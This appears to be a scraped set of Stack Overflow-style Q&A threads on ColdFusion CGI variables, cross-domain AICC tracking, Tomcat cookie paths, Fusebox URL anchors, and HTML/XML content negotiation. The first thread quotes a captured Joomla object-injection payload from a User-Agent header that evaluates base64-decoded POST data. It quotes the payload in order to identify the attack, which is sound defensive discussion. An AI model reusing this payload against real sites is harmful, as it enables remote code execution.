I have been collecting visitor data for one of my websites including domain, scriptName, queryString, remoteHost, userAgent, httpReferer, rtTimeStamp using the cgi variables available to coldFusion. I got an error about a userAgent string being out of range. I took a closer look and found that the cgi.userAgent variable returned the following:
}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:
"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:
"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:
"javascript";i:9999;s:8:"feed_url";s:54:"eval(base64_decode($_POST[111]));JFactory:
:get();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}ð'
I added the linebreaks for readability. The cgi.httpReferrer was blank. Is this an error or an indication of an attack of some sort? I have always expected the cgi variables to be somewhat safe but now thinking I should add validation to those as well.
So my ultimate question is does anyone recognize this code as some form of attack?
Yes, the corrupt USERAGENT header is an indication of an attack. It is an injection exploit aimed at the Joomla Content Management System. It was a zero-day exploit, described in the securityfocus site.
Related
I initially posted this as an answer to this question earlier regarding Empty CGI.REDIRECT_URL on ColdFusion 2016. After thinking about it, I thought better of it since technically didn't answer the OP's question. Instead I decided to make it into a separate question, even though it's more of a commentary than a question. While this technically might not meet the full requirements of a Minimal, Complete, and Verifiable example and people might ding me with downvotes, I decided it was worth it anyway in the hope that it will become easier to find for future CFers who might encounter this. Thus preventing them from banging their head against the wall regarding this peculiar behavior of the CGI struct/scope.
With that said, the CGI struct/scope has some undocumented inconsistent behavior from other structs/scopes. Note that I personally take no credit for this discovery since I happened across this some time ago upon reading Ben Nadel's blog post on this. So all the information I'm posting here is already detailed there, but I wanted to write a nice summary here on SO.
Undocumented behavior 1 - Unlike other structures, if a CGI struct key doesn't exist, then it won't throw an error when referencing it.
In the OP's original question, he was wondering why cgi.REDIRECT_URL existed but was empty. As he eventually found out, it never actually existed. As a separate example you can execute this line of code without throwing an error. Not what you'd expect, huh?
<cfoutout>#cgi.THIS_IS_A_FAKE_KEY#</cfoutout>
So what's a CFer to do? Test for the key existence.
<cfif structKeyExists( CGI, 'THIS_IS_A_FAKE_KEY' )>
THIS_IS_A_FAKE_KEY exists
<cfelse>
THIS_IS_A_FAKE_KEY doesn't exist
</cfif>
Undocumented behavior 2 - Unlike other structures, if you dump the CGI struct, it won't display all the key/value pairs, it will only display a defined set of keys.
In the OP's case, he had a custom Apache CGI variable cgi.REDIRECT_URL that was used in his code prior to upgrading to CF2016 and was able to refer to it directly. However, I'm presuming if he dumped out the cgi struct, it wouldn't appear in the dump. In Ben Nadel's case, he also had a custom cgi variable called cgi.document_root that was passed through from a load balancer and was able to refer to it directly, but he also wasn't able to see the key when dumping the cgi contents.
So what's a CFer to do? Understand this and store it in the back of your mind so you won't get bitten when you dump the cgi contents and the key/value pair isn't there. Other than that, not much else.
I went in to the cfusion.jar file of ColdFusion. What I found there was a bit confusing.
CGI scope is not of a structure form as one would hope for.
This is how a call for CGI variable is handled. eg <cfoutout>#cgi.THIS_IS_A_FAKE_KEY#</cfoutout>
The normal valid CGI scope variables are the ones in this list and these will be initialized to "" by default.
private static final String[] names ="AUTH_PASSWORD","AUTH_TYPE","AUTH_USER","CERT_COOKIE","CERT_FLAGS","CERT_ISSUER","CERT_KEYSIZE","CERT_SECRETKEYSIZE","CERT_SERIALNUMBER","CERT_SERVER_ISSUER","CERT_SERVER_SUBJECT","CERT_SUBJECT","CF_TEMPLATE_PATH","CONTENT_LENGTH","CONTENT_TYPE","CONTEXT_PATH","GATEWAY_INTERFACE","HTTP_ACCEPT","HTTP_ACCEPT_ENCODING","HTTP_ACCEPT_LANGUAGE","HTTP_CONNECTION","HTTP_COOKIE","HTTP_HOST","HTTP_USER_AGENT","HTTP_REFERER","HTTP_URL","HTTPS","HTTPS_KEYSIZE","HTTPS_SECRETKEYSIZE","HTTPS_SERVER_ISSUER","HTTPS_SERVER_SUBJECT","LOCAL_ADDR","PATH_INFO","PATH_TRANSLATED","QUERY_STRING","REMOTE_ADDR","REMOTE_HOST","REMOTE_USER","REQUEST_METHOD","SCRIPT_NAME","SERVER_NAME","SERVER_PORT","SERVER_PORT_SECURE","SERVER_PROTOCOL","SERVER_SOFTWARE","WEB_SERVER_API" };`
Also all of these values also come from various java libraries javax.servlet, HttpServletRequest etc.
If the requested variable is not any of these after a bit of checks, ColdFusion goes to the request headers. You can see these using getHttpRequestData().headers. Then looks for a key there with hyphens(-) instead of the underscores(_) in the cgi key request. (If the key starts with http_, then the key in the request headers will be with out it like this http_x_forward in request header will be x-forward)
value = request.getHeader(name.replace('_', '-'));
From what I understand as far as ColdFusion is concerned the keys, mentioned in the first point are the recognized as part of the CGI scope. But when there is additional information passed from a Apache load balancer server to ColdFusion, those end up in the request headers. Since the java getHeader just returns a blank string (or something with data type undefined) instead of a undefined error, ColdFusion does not identify any of the keys is defined or not.
So if the key THIS_IS_A_FAKE_KEY is sent to ColdFusion from an intermediary such as an Apache server. You will find that in the getHttpRequestData().headers['THIS-IS-A-FAKE-KEY'] but not on the CGI scope dump.
That being said my personal opinion is that it is better to check directly in the getHttpRequestData().headers for custom CGI variables other than in the scope itself.
EDIT Thanks to Ageax for pointing out one of my test cases was invalid on my earlier revision of this post.
Great bit of detective work RRK! So I decided to perform an experiment to verify your finding by creating two loops. The first loop will display the key/value pairs from getHttpRequestData().headers and the second loop does the same using the corresponding key/value pairs from the cgi scope by replacing the - with _. Voila! as reported by RRK, we can see how you can obtain the values by either method. I made an updated gist and posted here for anyone interested.
<cfset httpHeaders = getHttpRequestData().headers>
<h3>getHttpRequestData().headers</h3>
<cfloop collection="#httpHeaders#" item="key" >
<cfoutput><strong>#Key#</strong> : #httpHeaders[key]#<br></cfoutput>
</cfloop>
<h3>cgi keys dash to underscore</h3>
<cfloop collection="#httpHeaders#" item="key" >
<cfset keyUnderscore = replace(key, "-", "_", "all")>
<cfoutput><strong>#keyUnderscore#</strong> : #cgi[keyUnderscore]#<br></cfoutput>
</cfloop>
I am currently trying to develop a web activity that a client would like to track via their Learning Management System. Their LMS uses the AICC standard (HACP binding), and they keep the actual learning objects on a separate content repository.
Right now I'm struggling with the types of communication between the LMS and the "course" given that they sit on two different servers. I'm able to retreive the sessionId and the aicc_url from the URL string when the course launches, and I can successfully post values to the aicc_url on the LMS.
The difficulty is that I can not read and parse the return response from the LMS (which is formatted as plain text). AICC stipulates that the course start with posting a "getParam" command to the aicc_url with the session id in order to retrieve information like completion status, bookmarking information from previous sessions, user ID information, etc, all of which I need.
I have tried three different approaches so far:
1 - I started with using jQuery (1.7) and AJAX, which is how I would typically go about a same-server implementation. This returned a "no transport" error on the XMLHttpRequest. After some forum reading, I tried making sure that the ajax call's crossdomain property was set to true, as well as a recommendation to insert $.support.cors = true above the ajax call, neither of which helped.
2 & 3 - I tried using an oldschool frameset with a form in a bottom frame which would submit and refresh with the returned text from the LMS and then reading that via javascript; and then a variation upon that using an iFrame as a target of an actual form with an onload handler to read and parse the contents. Both of these approaches worked in a same-server environment, but fail in the cross-domain environment.
I'm told that all the other courses running off the content repository bookmark as well as track completion, so obviously it is possible to read the return values from the LMS somehow; AICC is pitched frequently as working in cross-server scenarios, so I'm thinking there must be a frequently-used method to doing this in the AICC structure that I am overlooking. My forum searches so far haven't turned up anything that's gotten me much further, so if anyone has any experience in cross-domain AICC implementations I could certainly use recommendations!
The only idea I have left is to try setting up a PHP "relay" form on the same server as the course, and having the front-end page send values to that, and using the PHP to submit those to the LMS, and relay the return text from the LMS to the front-end iframe or ajax call so that it would be perceived as being within the same domain.... I'm not sure if there's a way to solve the issue without going server-side. It seems likely there must be a common solution to this within AICC.
Thanks in advance!
Edits and updates:
For anyone encountering similar problems, I found a few resources that may help explain the problem as well as some alternate solutions.
The first is specific to Plateau, a big player in the LMS industry that was acquired by Successfactors. It's some documentation that provide on setting up a proxy to handle cross-domain content:
http://content.plateausystems.com/ContentIntegration/content/support_files/Cross-domain_Proxlet_Installation.pdf
The second I found was a slide presentation from Successfactors that highlights the challenge of cross-domain content, and illustrates so back-end ideas for resolving it; including the use of reverse proxies. The relevant parts start around slide 21-22 (page 11 in the PDF).
http://www.successfactors.com/static/docs/successconnect/sf/successfactors-content-integration-turley.pdf
Hope that helps anyone else out there trying to resolve the same issues!
The answer in this post may lead you in the right direction:
Best Practice: Legitimate Cross-Site Scripting
I think you are on the right track with setting up a PHP "relay." I think this is similar to choice #1 in the answer from the other post and seems to make most sense with what you described in your question.
Where can I make changes if I want to make permanent changes in cookie-path value for my website. will that be in context.xml or web.xml or will that be using newCookie.setPath() method only? The server is Tomcat 6.0. I did look online but have not found anything, to the point.
Its just that there is some problem with the session tracking and admin thinks that this requires changing path of my session cookies from /site-folder to /. Is he wrong?
It might not be something considered good programming trick, but to change the sessioncookiepath value, web-app>METAINF>context.xml file is the place. For perticulary my problem, putting following code helped: Context sessionCookiePath="" This might be due to my website structure.
On very rate occasions, my error log is showing the following error:
"You specified a Fuseaction of registrationaction#close which is not defined in Circuit public."
The full link is:"http://myUrl/index.cfm?do=public.registrationAction#close"
As you can see, the has merely points to an anchor (close) on the page.
This code is working 99% of the time, but on the odd occasion, Coldfusion / Fusebox throws this error out.
Why is this happening?
Could it be related to the device accessing my page somehow? Like a cell phone or Apple product that for some reason does handle hashes the way I am expecting it to?
Could it be javascript / JQuery being disabled?
Any guidance would be appreciated
Thanks
I used to see stuff like that. Older versions of Internet Explorer were not handling the hashtag properly when there were URL parameters. The best solution I could come up with was kludgey at best, but basically it forced the anchor tag to separate from the URL parameter.
http://myUrl/index.cfm?do=public.registrationAction&#close
I'm not sure there is a simple answer to this. We get odd exceptions all the time on our site for all sorts of reasons. Sometimes it's people not using the site the way you expect and sometimes it stuff like you mention such as user-agent edge cases etc.
Basically you need to start to gather evidence and see what comes up that's unusual with these requests.
So to start: do you catch exceptions in you application? If so dumping all scopes (CGI/CLIENT/FORM/URL/SESSION) in an email along with the full exception and emailing them to a custom emails address (such as errors#yourdomain.com) will give you a reference you can square up to your error times and this might give you a hint as to the real issue.
Hope that helps some!
I have a resource at a URL that both humans and machines should be able to read:
http://example.com/foo-collection/foo001
What is the best way to distinguish between human browsers and machines, and return either HTML or a domain-specific XML response?
(1) The Accept type field in the request?
(2) An additional bit of URL? eg:
http://example.com/foo-collection/foo001 -> returns HTML
http://example.com/foo-collection/foo001?xml -> returns, er, XML
I do not wish to oblige machines reading the resource to parse HTML (or XHTML for that matter). Machines like the googlebot should receive the HTML response.
It is reasonable to assume I control the machine readers.
If this is under your control, rather than adding a query parameter why not add a file extension:
http://example.com/foo-collection/foo001.html - return HTML
http://example.com/foo-collection/foo001.xml - return XML
Apart from anything else, that means if someone fetches it with wget or saves it from their browser, it'll have an appropriate filename without any fuss.
My preference is to make it a first-class part of the URI. This is debatable, since there are -- in a sense -- multiple URI's for the same resource. And is "format" really part of the URI?
http://example.com/foo-collection/html/foo001
http://example.com/foo-collection/xml/foo001
These are very easy deal with in a web framework that has URI parsing to direct the request to the proper application.
If this is indeed the same resource with two different representations, the HTTP invites you to use the Accept-header as you suggest. This is probably a very reliable way to distinguish between the two different scenarios. You can be plenty sure that user agents (including search engine spiders) send the Accept-header properly.
About the machine agents you are going to give XML; are they under your control? In that case you can be doubly sure that Accept will work. If they do not set this header properly, you can give XML as default. User agents DO set the header properly.
I would try to use the Accept heder for this, because this is exactly what the Accept header is there for.
The problem with having two different URLs is that is is not automatically apparent that these two represent the same underlying resource. This can be bad if a user finds an URL in one program, which renders HTML, and pastes it in the other, which needs XML. At this point a smart user could probably change the URL appropriately, but this is just a source of error that you don't need.
I would say adding a Query String parameter is your best bet. The only way to automatically detect whether your client is a browser(human) or application would be to read the User-Agent string from the HTTP Request. But this is easily set by any application to mimic a browser, you're not guaranteed that this is going to work.